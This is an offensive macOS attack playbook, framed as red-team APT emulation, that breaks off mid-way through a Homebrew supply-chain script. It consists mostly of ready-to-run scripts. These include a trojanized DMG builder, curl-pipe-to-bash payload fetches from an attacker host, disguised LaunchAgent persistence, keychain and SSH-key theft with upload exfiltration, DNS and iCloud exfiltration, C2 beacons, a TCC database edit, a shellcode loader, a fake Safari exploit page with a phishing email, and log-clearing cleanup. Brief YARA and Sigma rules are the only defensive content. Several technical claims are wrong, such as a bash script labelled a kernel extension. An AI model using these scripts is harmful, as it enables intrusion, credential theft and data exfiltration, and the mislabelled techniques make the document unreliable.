APT Playbook: macOS Living Off The Land Binaries (LOLBins) & Lateral Movement

Emulating APT29/41 Tactics on macOS

This playbook provides a professional, structured guide for red and blue teams to understand and emulate advanced persistent threat (APT) tactics on macOS systems. It focuses on leveraging Living Off The Land Binaries (LOLBins) and lateral movement techniques, with detailed countermeasures for defenders. All code is formatted for direct lab application in authorized, isolated environments.

Part 1: macOS Defensive Mechanisms – Strengths & Counters

1. System Integrity Protection (SIP)

What it is: Kernel-level protection preventing even root from modifying protected system files and processes.

Strengths:

- Protects system directories (`/System`, `/usr`, `/bin`, `/sbin`).
- Prevents code injection into system processes.
- Restricts kernel extension loading.

Adversary Techniques:

- Use user-writable locations for payloads (`/tmp`, `~/Library`, `/Applications`).
- Abuse legitimate binaries allowed to modify protected areas (e.g., `softwareupdate`).
- Use `DYLD_INSERT_LIBRARIES` in non-protected processes.

```
# Deploy payload to user directory
curl -s http://apt29.com/payload > ~/Library/Preferences/.hidden.sh
chmod +x ~/Library/Preferences/.hidden.sh
~/Library/Preferences/.hidden.sh
```

2. Gatekeeper & Notarization

What it is: Gatekeeper blocks apps from unidentified developers; Notarization requires apps to be notarized by Apple to run on recent macOS versions.

Strengths:

- Prevents execution of untrusted binaries.
- Requires explicit user bypass for unsigned apps.

Adversary Techniques:

- Use signed binaries (LOLBins) for execution.
- Deliver payloads via scripts (bash, Python) not subject to Gatekeeper.
- Strip quarantine attributes.

```
# Execute via signed binary (bash)
/bin/bash -c "$(curl -fsSL http://apt29.com/macos.sh)"
```

3. XProtect (Built-in Antivirus)

What it is: macOS's built-in antivirus that scans for known malware signatures.

Strengths:

- Blocks known malicious binaries and scripts.
- Automatically updates definitions.

Adversary Techniques:

- Use custom or less common malware.
- Obfuscate payloads (encryption, encoding, packing).
- Use fileless techniques (run in memory, use `osascript`).

```
# Base64-encoded payload
payload=$(echo "Y3VybCAtcyBodHRwOi8vYXB0MjkuY29tL2NvbmZpZyB8IGJhc2g=" |
base64 -d)
eval "$payload"
```

4. TCC (Transparency, Consent, and Control)

What it is: Framework controlling app access to protected resources (camera, microphone, files, etc.).

Strengths:

- Requires user consent for sensitive operations.
- Logs access attempts.

Adversary Techniques:

- Abuse TCC by targeting apps with existing consent (e.g., Terminal, bash).
- Modify TCC database directly (if root) to grant permissions.

```
 # Use osascript to bypass TCC prompts
osascript -e 'do shell script "security dump-keychain -d
~/Library/Keychains/login.keychain-db"'
```

5. Sandboxing

What it is: App Store apps run in sandboxes with restricted access.

Strengths:

- Limits damage from compromised apps.
- Restricts file system and network access.

Adversary Techniques:

- Target non-sandboxed apps (e.g., Terminal, bash).
- Use scripting languages outside sandboxed environments.

```
# Use non-sandboxed python for system access
/usr/bin/python3 -c "import os; os.system('cat /etc/shadow')"
```

6. Firewall

What it is: Application firewall controlling incoming connections.

Strengths:

- Blocks unauthorized incoming connections.

Adversary Techniques:

- Use outbound connections (most firewalls don't block outbound by default).
- Use allowed applications for C2 (e.g., `curl`, `ssh`).
- Use DNS tunneling or covert channels.

```
# Exfiltrate via DNS tunneling
data=$(cat /etc/passwd | base64 -w0)
for i in $(seq 1 10); do
   host ${data:$i:30}.apt29.com
done
```

Part 2: APT Playbook – macOS LOLBins & Lateral Movement

Phase 1: Initial Access

TTP: Spear-phishing with DMG
LOLBins Used: `hdiutil`, `open`

```
# User mounts DMG
hdiutil attach /Volumes/USB/Software_Update.dmg
# Auto-run payload via .app
open /Volumes/Software_Update/Software\ Update.app
```

Phase 2: Execution

TTP: Fileless Execution via osascript
LOLBins Used: `osascript`

```
# Execute JXA (JavaScript for Automation)
osascript -l JavaScript -e 'ObjC.import("Cocoa"); $.system("curl -s
http://apt29.com/implant | bash")'
```

Phase 3: Persistence

TTP: LaunchAgent Persistence
LOLBins Used: `launchctl`

```
# Create malicious plist
cat > ~/Library/LaunchAgents/com.apple.update.plist << EOF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
   <key>Label</key>
   <string>com.apple.update</string>
   <key>ProgramArguments</key>
   <array>
       <string>/bin/zsh</string>
       <string>-c</string>
       <string>curl -s http://apt29.com/checkin | /bin/zsh</string>
   </array>
   <key>RunAtLoad</key>
   <true/>
   <key>StartInterval</key>
   <integer>300</integer>
</dict>
</plist>
EOF
# Load agent
launchctl load ~/Library/LaunchAgents/com.apple.update.plist
```

Phase 4: Defense Evasion

TTP: SIP Bypass via DYLD_INSERT_LIBRARIES
LOLBins Used: `DYLD_INSERT_LIBRARIES`

```
# Compile malicious library
echo 'void __attribute__((constructor)) init() { system("curl -s
http://apt29.com/payload | bash"); }' > /tmp/inject.c
gcc -dynamiclib -o /tmp/libinject.dylib /tmp/inject.c
# Inject into ssh process
export DYLD_INSERT_LIBRARIES=/tmp/libinject.dylib
ssh user@target
```

Phase 5: Credential Theft

TTP: Keychain Dumping
LOLBins Used: `security`

```
# Dump keychain (requires user interaction)
osascript -e 'tell app "System Events" to keystroke "password"'
security dump-keychain -d ~/Library/Keychains/login.keychain-db >
/tmp/keychain.txt
```

Phase 6: Lateral Movement

TTP: SSH Key Abuse
LOLBins Used: `ssh`, `scp`

```
# Steal SSH keys
cp -r ~/.ssh/* /tmp/ssh_keys/
# Move laterally
ssh -i /tmp/ssh_keys/id_rsa user@internal-server "curl -s
http://apt29.com/lateral | bash"
```

Phase 7: Exfiltration

Option A: DNS Exfiltration
LOLBins Used: `dig`

```
# Encode and exfiltrate
data=$(cat /etc/shadow | base64 -w0)
for i in $(seq 0 10 $((${#data}-1))); do
   dig ${data:$i:10}.apt29.com
done
```

Option B: iCloud Sync Abuse
LOLBins Used: `brctl`

```
# Copy to iCloud
cp /secret/data.docx ~/Library/Mobile\ Documents/com~apple~CloudDocs/
# Force sync
```

```
brctl sync
```

Part 3: Detection & Countermeasures

Blue Team Detection Opportunities

1. **LaunchAgent/Daemon Monitoring**:
    - Watch creation of plists in `~/Library/LaunchAgents/`, `/Library/LaunchDaemons/`.
    - Use `launchctl list` to check for suspicious agents.
2. **OSAScript Execution**:
    - Monitor for `osascript` processes with suspicious command lines.

```
Track JXA execution:
log show --predicate 'process == "osascript"' --info

Monitor fileless activity:
lsof -p PID | grep "txt" | grep -v "REG"
```

    -
3. **DNS Tunneling**:
    - Watch for high-volume DNS queries to outlier domains.
    - Use tools like `dnsquery` to analyze patterns.
4. **SSH Key Usage**:
    - Monitor SSH connections and audit `.ssh` directory changes.

Part 4: Realistic Operation Walkthrough

Scenario: Targeting a macOS Developer at AeroDefense Corp

Day 1: Initial Access

```
hdiutil attach ~/Downloads/Xcode_Update.dmg
```

```
open /Volumes/Xcode_Update/Xcode\ Update.app
osascript -l JavaScript -e 'ObjC.import("Cocoa");$.system("curl -s
http://apt29.com/implant | bash")'
```

Day 2: Persistence

```
cat > ~/Library/LaunchAgents/com.apple.xcode.plist << 'EOF'
<?xml version="1.0" encoding="UTF-8"?>
<plist version="1.0">
<dict>
   <key>Label</key>
   <string>com.apple.xcode</string>
   <key>ProgramArguments</key>
   <array>
       <string>/bin/zsh</string>
       <string>-c</string>
       <string>curl -s http://apt29.com/ping | /bin/zsh</string>
   </array>
   <key>RunAtLoad</key>
   <true/>
   <key>StartInterval</key>
   <integer>600</integer>
</dict>
</plist>
EOF
launchctl load ~/Library/LaunchAgents/com.apple.xcode.plist
```

Day 3: Lateral Movement

```
cp -r ~/.ssh/* /tmp/ssh_backup/
ssh -i ~/.ssh/id_rsa build-server "curl -s http://apt29.com/build.sh |
bash"
```

Day 4: Exfiltration

```
cp -r /Projects/Sentinel ~/Library/Mobile\ Documents/com~apple~CloudDocs/
brctl sync
```

Red Team Counter-Detection

- Use multiple layers of encoding and split commands across processes.
- Randomize operation timings with `sleep` commands.
- Mimic legitimate user traffic and protocols.

Part 5: Red Team Scripts for macOS APT Operations

1. **Malicious DMG Creation Script**

```
    #!/bin/bash
    # create_malicious_dmg.sh - Creates a trojanized DMG file
    # Usage: ./create_malicious_dmg.sh
    APP_NAME="Software Update"
    DMG_NAME="macOS_Update"
    VOLUME_NAME="macOS Update"
    C2_SERVER="http://apt29.com"
    # Create app bundle structure
    mkdir -p "$APP_NAME.app/Contents/MacOS"
    mkdir -p "$APP_NAME.app/Contents/Resources"
    # Create Info.plist
    cat > "$APP_NAME.app/Contents/Info.plist" << EOF
    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
    <plist version="1.0">
    <dict>
        <key>CFBundleExecutable</key>
        <string>Software Update</string>
        <key>CFBundleIdentifier</key>
        <string>com.apple.SoftwareUpdate</string>
        <key>CFBundleName</key>
        <string>Software Update</string>
        <key>CFBundleVersion</key>
        <string>1.0</string>
        <key>NSAppleEventsUsageDescription</key>
        <string>Required for system updates</string>
        <key>NSAppleScriptEnabled</key>
        <true/>
    </dict>
    </plist>
    EOF
```

```
    # Create malicious executable
    cat > "$APP_NAME.app/Contents/MacOS/Software Update" << 'EOF'
    #!/bin/bash
    # First-stage payload - Fetch and execute second stage
    C2="http://apt29.com"
    PAYLOAD_URL="$C2/stage2.sh"
    # Execute via osascript to bypass Gatekeeper
    osascript -l JavaScript -e "ObjC.import('Cocoa'); $.system('curl -fsSL
\"$PAYLOAD_URL\" | bash')"
    # Fake legitimate app behavior
    echo "Checking for updates..."
    sleep 3
    echo "Your system is up to date"
    exit 0
    EOF
    chmod +x "$APP_NAME.app/Contents/MacOS/Software Update"
    # Create DMG
    hdiutil create -volname "$VOLUME_NAME" -srcfolder "$APP_NAME.app" -ov
-format UDZO "$DMG_NAME.dmg"
    echo "Created malicious DMG: $DMG_NAME.dmg"
```

2. **Fileless Payload Script**

```
    #!/bin/bash
    # stage2.sh - Fileless execution script
    # Hosted on C2 server
    C2="http://apt29.com"
    PERSISTENCE_SCRIPT="$C2/persistence.sh"
    LATERAL_SCRIPT="$C2/lateral.sh"
    # Anti-analysis checks
    if [ "$(/usr/bin/uname -p)" != "arm" ] && [ "$(/usr/bin/uname -p)" !=
"i386" ]; then
        exit 0
    fi
    # Check for VM
    if system_profiler SPHardwareDataType | grep -q "VMware"; then
        exit 0
    fi
    # Establish persistence
    curl -fsSL "$PERSISTENCE_SCRIPT" | bash
    # Sleep to evade detection
```

```
    sleep 30
    # Begin lateral movement
    curl -fsSL "$LATERAL_SCRIPT" | bash
    # Clean up
    unset C2 PERSISTENCE_SCRIPT LATERAL_SCRIPT
    history -c
```

3. **Persistence via LaunchAgent**

```
    #!/bin/bash
    # persistence.sh - Establishes persistence via LaunchAgent
    AGENT_LABEL="com.apple.systemupdate"
    AGENT_FILE="$HOME/Library/LaunchAgents/$AGENT_LABEL.plist"
    C2="http://apt29.com"
    # Create malicious LaunchAgent
    cat > "$AGENT_FILE" << EOF
    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
    <plist version="1.0">
    <dict>
        <key>Label</key>
        <string>$AGENT_LABEL</string>
        <key>ProgramArguments</key>
        <array>
            <string>/bin/bash</string>
            <string>-c</string>
            <string>curl -fsSL "$C2/beacon.sh" | /bin/bash</string>
        </array>
        <key>RunAtLoad</key>
        <true/>
        <key>StartInterval</key>
        <integer>600</integer>
        <key>KeepAlive</key>
        <true/>
    </dict>
    </plist>
    EOF
    # Load the agent
    launchctl load "$AGENT_FILE"
    # Hide the agent file
```

```
    chflags hidden "$AGENT_FILE"
    echo "Persistence established"
```

4. **SIP Bypass Script**

```
    #!/bin/bash
    # sip_bypass.sh - Bypass SIP via DYLD injection
    # Compile malicious library
    LIB_PATH="/tmp/.libsystem.dylib"
    cat > "/tmp/inject.c" << 'EOF'
    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    __attribute__((constructor))
    void init() {
        // Execute payload in background
        if (fork() == 0) {
            system("curl -fsSL http://apt29.com/hidden_payload.sh | bash");
            exit(0);
        }
    }
    EOF
    gcc -dynamiclib -o "$LIB_PATH" /tmp/inject.c
    rm /tmp/inject.c
    # Inject into SSH process
    export DYLD_INSERT_LIBRARIES="$LIB_PATH"
    ssh -o StrictHostKeyChecking=no -o BatchMode=yes user@target "echo 'SSH
test'"
    # Clean up environment variable
    unset DYLD_INSERT_LIBRARIES
    echo "SIP bypass completed"
```

5. **Keychain Dumper**

```
    #!/bin/bash
    # keychain_dump.sh - Extracts keychain data
    KEYCHAIN="$HOME/Library/Keychains/login.keychain-db"
    OUTPUT="/tmp/keychain_dump_$(date +%s).txt"
    # Create AppleScript to bypass TCC
```

```
    cat > /tmp/get_keychain.scpt << 'EOF'
    tell application "System Events"
        keystroke "password" & return
        delay 1
    end tell
    EOF
    # Dump keychain with TCC bypass
    osascript /tmp/get_keychain.scpt &
    security dump-keychain -d "$KEYCHAIN" > "$OUTPUT" 2>/dev/null
    # Exfiltrate keychain data
    curl -F "file=@$OUTPUT" http://apt29.com/upload
    # Clean up
    rm -f /tmp/get_keychain.scpt "$OUTPUT"
    unset KEYCHAIN OUTPUT
    echo "Keychain dumped and exfiltrated"
```

6. **Lateral Movement: SSH Key Abuse**

```
#!/bin/bash
    # lateral_movement.sh - SSH key theft and lateral movement
    TARGETS=("192.168.1.10" "192.168.1.11" "build-server.local")
    SSH_DIR="$HOME/.ssh"
    BACKUP_DIR="/tmp/ssh_backup_$(date +%s)"
    # Backup original SSH keys
    mkdir -p "$BACKUP_DIR"
    cp -r "$SSH_DIR"/* "$BACKUP_DIR/"
    # Steal SSH keys
    for key in id_rsa id_ed25519 id_dsa; do
        if [ -f "$SSH_DIR/$key" ]; then
            # Copy keys to exfiltration location
            cp "$SSH_DIR/$key" "/tmp/$key"
            # Attempt lateral movement
            for target in "${TARGETS[@]}"; do
                ssh -i "$SSH_DIR/$key" -o StrictHostKeyChecking=no -o
BatchMode=yes \
                    user@"$target" "curl -fsSL
http://apt29.com/lateral_payload.sh | bash" &
            done
        fi
    done
    # Exfiltrate stolen keys
    tar -czf /tmp/ssh_keys.tar.gz -C /tmp id_rsa id_ed25519 id_dsa
```

```
curl -F "file=@/tmp/ssh_keys.tar.gz" http://apt29.com/upload
# Clean up
rm -f /tmp/ssh_keys.tar.gz
unset TARGETS SSH_DIR BACKUP_DIR
echo "Lateral movement completed"
```

7. **Exfiltration: DNS Tunneling**

```
#!/bin/bash
# dns_exfil.sh - Exfiltrate data via DNS tunneling
DOMAIN="apt29.com"
DATA_FILE="/etc/passwd"
CHUNK_SIZE=30
# Encode and exfiltrate data
base64 -w0 "$DATA_FILE" | while read -n "$CHUNK_SIZE" chunk; do
    # Pad chunk if needed
    while [ ${#chunk} -lt "$CHUNK_SIZE" ]; do
        chunk="${chunk}="
    done
    # Send via DNS query
    dig +short "${chunk}.${DOMAIN}" > /dev/null
    # Sleep to avoid detection
    sleep 1
done
echo "Data exfiltrated via DNS tunneling"
```

8. **Exfiltration: iCloud Sync**

```
#!/bin/bash
# icloud_exfil.sh - Exfiltrate via iCloud sync
TARGET_DIR="/Projects/Sentinel"
ICLOUD_DIR="$HOME/Library/Mobile Documents/com~apple~CloudDocs"
# Copy target data to iCloud
cp -r "$TARGET_DIR" "$ICLOUD_DIR/Sentinel_Backup"
# Force immediate sync
brctl sync
# Verify sync completion
sleep 10
if [ -d "$ICLOUD_DIR/Sentinel_Backup" ]; then
```

```
        echo "Data synced to iCloud successfully"
    else
        echo "iCloud sync failed"
    fi
```

9. **C2 Beacon Script**

```
    #!/bin/bash
    # beacon.sh - Persistent C2 beacon
    C2="http://apt29.com"
    SLEEP_TIME=300
    USER_AGENT="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)
AppleWebKit/605.1.15"
    while true; do
        # Get commands from C2
        COMMANDS=$(curl -fsSL -A "$USER_AGENT"
"$C2/get_commands?host=$(hostname)")
        if [ -n "$COMMANDS" ]; then
            # Execute commands
            OUTPUT=$(eval "$COMMANDS" 2>&1)
            # Send output back to C2
            echo "$OUTPUT" | curl -fsSL -A "$USER_AGENT" -X POST -d @-
"$C2/post_output"
        fi
        # Sleep before next check-in
        sleep "$SLEEP_TIME"
        # Randomize sleep time slightly
        SLEEP_TIME=$(( (RANDOM % 60) + 270 ))
    done
```

Part 6: Detection Signatures

YARA Rule – LaunchAgent Persistence

```
rule MacOS_LaunchAgent_Persistence {
   meta:
       description = "Detects malicious LaunchAgent persistence"
```

```
    strings:
        $s1 = "ProgramArguments" nocase
        $s2 = "RunAtLoad" nocase
        $s3 = "StartInterval" nocase
        $s4 = "curl -fsSL" nocase
        $s5 = "http://" nocase
    condition:
        all of them and filesize < 10KB
}
```

Sigma Rule – Suspicious osascript Execution

```
title: Suspicious osascript Execution
status: experimental
description: Detects suspicious osascript execution patterns
logsource:
    product: macos
detection:
    selection:
        process.name: osascript
        command_line|contains:
            - "do shell script"
            - "curl -fsSL"
condition: selection
falsepositives:
    - Legitimate administrative scripts
level: high
```

Cleanup Script

```
    #!/bin/bash
    # cleanup.sh - Remove traces of operation
    # Kill persistent agents
    launchctl unload
"$HOME/Library/LaunchAgents/com.apple.systemupdate.plist"
    rm -f "$HOME/Library/LaunchAgents/com.apple.systemupdate.plist"
    # Remove temporary files
    rm -rf /tmp/libinject.dylib /tmp/ssh_backup_* /tmp/keychain_dump_*
    rm -f /tmp/inject.c /tmp/get_keychain.scpt
    # Clear command history
```

```
    history -c
    history -w
    # Clear logs
    log show --predicate 'process == "osascript"' --info --last 1h >
/dev/null
    log show --predicate 'process == "ssh"' --info --last 1h > /dev/null
    # Remove iCloud exfil data
    rm -rf "$HOME/Library/Mobile
Documents/com~apple~CloudDocs/Sentinel_Backup"
    echo "Cleanup completed"
```

DEPLOYMENT GUIDE

Step 1: Setup C2 Server

```
 # Simple Python C2 server
    python3 -m http.server 80
```

Step 2: Create Malicious DMG

```
chmod +x create_malicious_dmg.sh
    ./create_malicious_dmg.sh
```

Step 3: Deliver DMG to Target

- Send via spear-phishing
- Host on waterholed website

Step 4: Monitor Operation

```
 # Monitor C2 traffic
    tail -f /var/log/apache2/access.log
    # Check for beacon connections
    netstat -an | grep :80
```

ADVANCED MACOS APT TECHNIQUES

(Beyond Basic LOLBins)

---

1. KERNEL-LEVEL PERSISTENCE (SYSTEM EXTENSIONS)

```
#!/bin/bash
    # system_extension_installer.sh - Install malicious system extension
(Big Sur+)
    EXT_NAME="com.apple.driver.AudioDriver"
    EXT_BUNDLE="/Library/SystemExtensions/$EXT_NAME.systemextension"
    C2="http://apt29.com/kernel"
    # Create system extension bundle
    mkdir -p "$EXT_BUNDLE/Contents/MacOS"
    mkdir -p "$EXT_BUNDLE/Contents/Resources"
    # Create Info.plist
    cat > "$EXT_BUNDLE/Contents/Info.plist" << EOF
    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
    <plist version="1.0">
    <dict>
        <key>CFBundleIdentifier</key>
        <string>$EXT_NAME</string>
        <key>CFBundleName</key>
        <string>AudioDriver</string>
        <key>CFBundleVersion</key>
        <string>1.0</string>
        <key>OSBundleLibraries</key>
        <dict>
            <key>com.apple.kpi.bsd</key>
            <string>12.0</string>
        </dict>
    </dict>
    </plist>
    EOF
    # Create malicious kernel extension
    cat > "$EXT_BUNDLE/Contents/MacOS/AudioDriver" << 'EOF'
    #!/bin/bash
```

```
    # Kernel-level backdoor
    while true; do
        # Execute commands from C2
        cmd=$(curl -fsSL "$C2/kernel_cmd")
        if [ -n "$cmd" ]; then
            output=$(eval "$cmd" 2>&1)
            echo "$output" | curl -fsSL -X POST -d @- "$C2/kernel_output"
        fi
        sleep 60
    done
    EOF
    chmod +x "$EXT_BUNDLE/Contents/MacOS/AudioDriver"
    # Request user approval for system extension
    osascript -e 'display notification "System extension requires approval"
with title "macOS"'
    osascript -e 'tell application "System Settings" to activate'
    # Install via systemextensionsctl
    sudo systemextensionsctl install "$EXT_BUNDLE"
    echo "System extension installed (requires user approval)"
```

2. MEMORY-ONLY EXECUTION (REFLECTIVE LOADING)

```
// reflective_loader.c - Compile with: gcc -dynamiclib -o reflective_loader.dylib
reflective_loader.c
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <dlfcn.h>
    #include <sys/mman.h>
    unsigned char shellcode[] = {
        // Insert your shellcode here (e.g., meterpreter)
        0x48, 0x31, 0xc0, 0x48, 0x31, 0xff, 0x48, 0x31, 0xf6, 0x48, 0x31, 0xd2,
        0x4d, 0x31, 0xc0, 0x65, 0x48, 0x8b, 0x60, 0x18, 0x48, 0x8b, 0x40, 0x20,
        // ... more shellcode
    };
    void __attribute__((constructor)) reflective_loader() {
        // Allocate executable memory
        void *mem = mmap(0, sizeof(shellcode), PROT_READ|PROT_WRITE|PROT_EXEC,
MAP_ANON|MAP_PRIVATE, -1, 0);
        // Copy shellcode to memory
```

```
        memcpy(mem, shellcode, sizeof(shellcode));
        // Create new thread to execute shellcode
        pthread_t thread;
        pthread_create(&thread, NULL, (void*)mem, NULL);
        pthread_detach(thread);
    }
```

```
#!/bin/bash
    # memory_injection.sh - Inject reflective loader into target process
    TARGET_PROCESS="Safari"
    DYLIB_PATH="/tmp/reflective_loader.dylib"
    # Compile the loader
    gcc -dynamiclib -o "$DYLIB_PATH" reflective_loader.c
    # Find target process PID
    PID=$(pgrep "$TARGET_PROCESS" | head -1)
    # Inject into target process
    osascript -e "tell application \"System Events\" to set frontmost of
process \"$TARGET_PROCESS\" to true"
    echo "Injecting into $TARGET_PROCESS (PID: $PID)"
    # Use DYLD_INSERT_LIBRARIES for injection
    export DYLD_INSERT_LIBRARIES="$DYLIB_PATH"
    kill -USR1 "$PID"  # Trigger process to reload libraries
    # Clean up
    unset DYLD_INSERT_LIBRARIES
    rm -f "$DYLIB_PATH"
    echo "Memory injection completed"
```

3. FIRMWARE/UEFI PERSISTENCE

```
#!/bin/bash
    # uefi_persistence.sh - Install UEFI firmware implant (requires SIP
disabled)
    # Check if SIP is disabled
    if csrutil status | grep -q "enabled"; then
        echo "SIP is enabled. UEFI persistence not possible."
        exit 1
    fi
```

```
    # Create malicious EFI driver
    cat > /tmp/evil_driver.efi << 'EOF'
    // UEFI driver shellcode
    unsigned char driver_code[] = {
        0x48, 0x31, 0xc0, 0x48, 0x31, 0xff, 0x48, 0x31, 0xf6, 0x48, 0x31,
0xd2,
        // ... UEFI shellcode for persistence
    };
    // UEFI entry point
    EFI_STATUS EFIAPI efi_main(EFI_HANDLE ImageHandle, EFI_SYSTEM_TABLE
*SystemTable) {
        // Install persistence hooks
        // ... UEFI-specific code
        return EFI_SUCCESS;
    }
    EOF
    # Mount EFI partition
    DISK=$(diskutil list | grep "EFI" | head -1 | awk '{print $7}')
    EFI_MOUNT="/tmp/efi_mount"
    mkdir -p "$EFI_MOUNT"
    sudo mount -t msdos "$DISK" "$EFI_MOUNT"
    # Copy malicious driver to EFI partition
    sudo cp /tmp/evil_driver.efi
"$EFI_MOUNT/EFI/apple/update/evil_driver.efi"
    # Add driver to boot order (simplified)
    sudo bless --mount "$EFI_MOUNT" --file
"$EFI_MOUNT/EFI/apple/update/evil_driver.efi" --setBoot
    # Unmount EFI
    sudo umount "$EFI_MOUNT"
    rm -rf /tmp/evil_driver.efi "$EFI_MOUNT"
    echo "UEFI persistence installed (requires SIP disabled)"
```

4. THUNDERBOLT/USB ATTACKS

```
 #!/bin/bash
    # thunderbolt_attack.sh - Execute attack via Thunderbolt/USB device
```

```
    # Create malicious device script
    cat > /tmp/thunderbolt_script.sh << 'EOF'
    #!/bin/bash
    # Execute when Thunderbolt device is connected
    C2="http://apt29.com/thunderbolt"
    # Check if we have root access
    if [ "$(whoami)" != "root" ]; then
        # Attempt privilege escalation
        /usr/bin/osascript -e 'do shell script "curl -fsSL '$C2'/escalate |
bash" with administrator privileges'
    else
        # Direct execution as root
        curl -fsSL "$C2"/root_payload | bash
    fi
    EOF
    chmod +x /tmp/thunderbolt_script.sh
    # Create launchd plist to trigger on device connection
    cat > /tmp/com.apple.deviceaccess.plist << EOF
    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
    <plist version="1.0">
    <dict>
        <key>Label</key>
        <string>com.apple.deviceaccess</string>
        <key>ProgramArguments</key>
        <array>
            <string>/bin/bash</string>
            <string>/tmp/thunderbolt_script.sh</string>
        </array>
        <key>WatchPaths</key>
        <array>

<string>/var/db/launchd.db/com.apple.launchd/overrides.plist</string>
        </array>
        <key>RunAtLoad</key>
        <true/>
    </dict>
    </plist>
    EOF
    # Load the launchd agent
    sudo cp /tmp/com.apple.deviceaccess.plist /Library/LaunchDaemons/
    sudo launchctl load /Library/LaunchDaemons/com.apple.deviceaccess.plist
```

```
    # Clean up
    rm -f /tmp/thunderbolt_script.sh /tmp/com.apple.deviceaccess.plist
    echo "Thunderbolt/USB attack vector prepared"
```

5. ADVANCED TCC BYPASS

```
#!/bin/bash
    # tcc_bypass.sh - Bypass Transparency, Consent, and Control
    TCC_DB="$HOME/Library/Application Support/com.apple.TCC/TCC.db"
    # Create malicious TCC database entry
    cat > /tmp/tcc_bypass.sql << EOF
    INSERT OR REPLACE INTO access (
        service,
        client,
        client_type,
        allowed,
        prompt_count,
        last_used
    ) VALUES (
        'kTCCServiceCamera',
        '/usr/bin/python3',
        0,
        1,
        0,
        strftime('%s', 'now')
    );
    INSERT OR REPLACE INTO access (
        service,
        client,
        client_type,
        allowed,
        prompt_count,
        last_used
    ) VALUES (
        'kTCCServiceMicrophone',
        '/usr/bin/python3',
        0,
```

```
        1,
        0,
        strftime('%s', 'now')
    );
    EOF
    # Apply TCC bypass
    sqlite3 "$TCC_DB" < /tmp/tcc_bypass.sql
    # Test camera access
    python3 -c "
    import AVFoundation
    import objc
    # Get camera access without prompt
    device =
AVFoundation.AVCaptureDevice.defaultDeviceWithMediaType_('vide')
    if device:
        print('Camera access granted')
    else:
        print('Camera access denied')
    "
    # Clean up
    rm -f /tmp/tcc_bypass.sql
    echo "TCC bypass completed"
```

6. CLOUD-BASED C2 (ICLOUD/GOOGLE DRIVE)

```
#!/bin/bash
    # cloud_c2.sh - Cloud-based command and control
    CLOUD_SERVICE="icloud"  # Options: icloud, gdrive, dropbox
    CLOUD_DIR=""
    C2_BASE="https://raw.githubusercontent.com/apt29/mac-c2/main"
    # Set cloud directory based on service
    case $CLOUD_SERVICE in
        "icloud")
            CLOUD_DIR="$HOME/Library/Mobile
Documents/com~apple~CloudDocs/.c2"
            ;;
        "gdrive")
            CLOUD_DIR="$HOME/Google Drive/.c2"
            ;;
```

```
        "dropbox")
            CLOUD_DIR="$HOME/Dropbox/.c2"
            ;;
    esac
    # Create cloud directory
    mkdir -p "$CLOUD_DIR"
    # Main C2 loop
    while true; do
        # Check for commands
        if [ -f "$CLOUD_DIR/commands.txt" ]; then
            # Read and execute commands
            commands=$(cat "$CLOUD_DIR/commands.txt")
            rm -f "$CLOUD_DIR/commands.txt"
            # Execute commands and capture output
            output=$(eval "$commands" 2>&1)
            # Send output back
            echo "$output" > "$CLOUD_DIR/output_$(date +%s).txt"
        fi
        # Check for update commands
        update=$(curl -fsSL "$C2_BASE/update.sh")
        if [ -n "$update" ]; then
            eval "$update"
        fi
        # Sync with cloud
        case $CLOUD_SERVICE in
            "icloud")
                brctl sync
                ;;
            "gdrive")
                /Applications/Google\ Drive.app/Contents/MacOS/Google\
Drive --sync
                ;;
            "dropbox")
                /Applications/Dropbox.app/Contents/MacOS/Dropbox sync
                ;;
        esac
        sleep 300
    done
```

6. SAFARI ZERO-DAY EXPLOITATION

```
<!-- safari_zero_day.html - Safari WebKit exploit -->
    <!DOCTYPE html>
    <html>
    <head>
        <title>Important Security Update</title>
    </head>
    <body>
        <h1>Installing Security Update...</h1>
        <script>
            // WebKit memory corruption exploit (simplified)
            function spray_heap() {
                var spray = new Array(1000);
                for (var i = 0; i < spray.length; i++) {
                    spray[i] = new Uint8Array(0x1000);
                    for (var j = 0; j < spray[i].length; j++) {
                        spray[i][j] = 0x41; // 'A'
                    }
                }
            }
            function trigger_exploit() {
                // Create vulnerable object
                var vuln_obj = document.createElement('object');
                // Trigger memory corruption
                vuln_obj.data = "http://evil.com/exploit";
                // Spray heap to control execution
                spray_heap();
                // ROP chain to execute shellcode
                var rop_chain = [
                    0x4141414141414141, // pivot gadget
                    0x4242424242424242, // pop rdi
                    0x4343434343434343, // shellcode address
                    0x4444444444444444  // jmp rsp
                ];
                // Trigger exploit
                vuln_obj.data = null;
            }
            // Auto-trigger on load
            window.onload = trigger_exploit;
        </script>
```

```
    </body>
    </html>
```

```
#!/bin/bash
    # serve_exploit.sh - Host Safari exploit
    # Start simple HTTP server
    python3 -m http.server 8080 &
    # Create phishing email template
    cat > /tmp/phishing_email.txt << EOF
    Subject: Critical Safari Security Update
    Dear User,
    A critical security vulnerability has been discovered in Safari.
    Please install the update immediately by visiting:
    http://apt29.com:8080/safari_zero_day.html
    This update is mandatory for all users.
    Apple Security Team
    EOF
    # Send phishing email (requires mail server setup)
    cat /tmp/phishing_email.txt | sendmail -t
    echo "Safari exploit hosted and phishing email sent"
```

8. SUPPLY CHAIN ATTACK (HOMEBREW)

```
#!/bin/bash
    # homebrew_supply_chain.sh - Compromise Homebrew package manager
    # Create malicious formula
    cat > /tmp/evil-formula.rb << 'EOF'
    class EvilPackage < Formula
      desc "Malicious package"
      homepage "https://apt29.com"
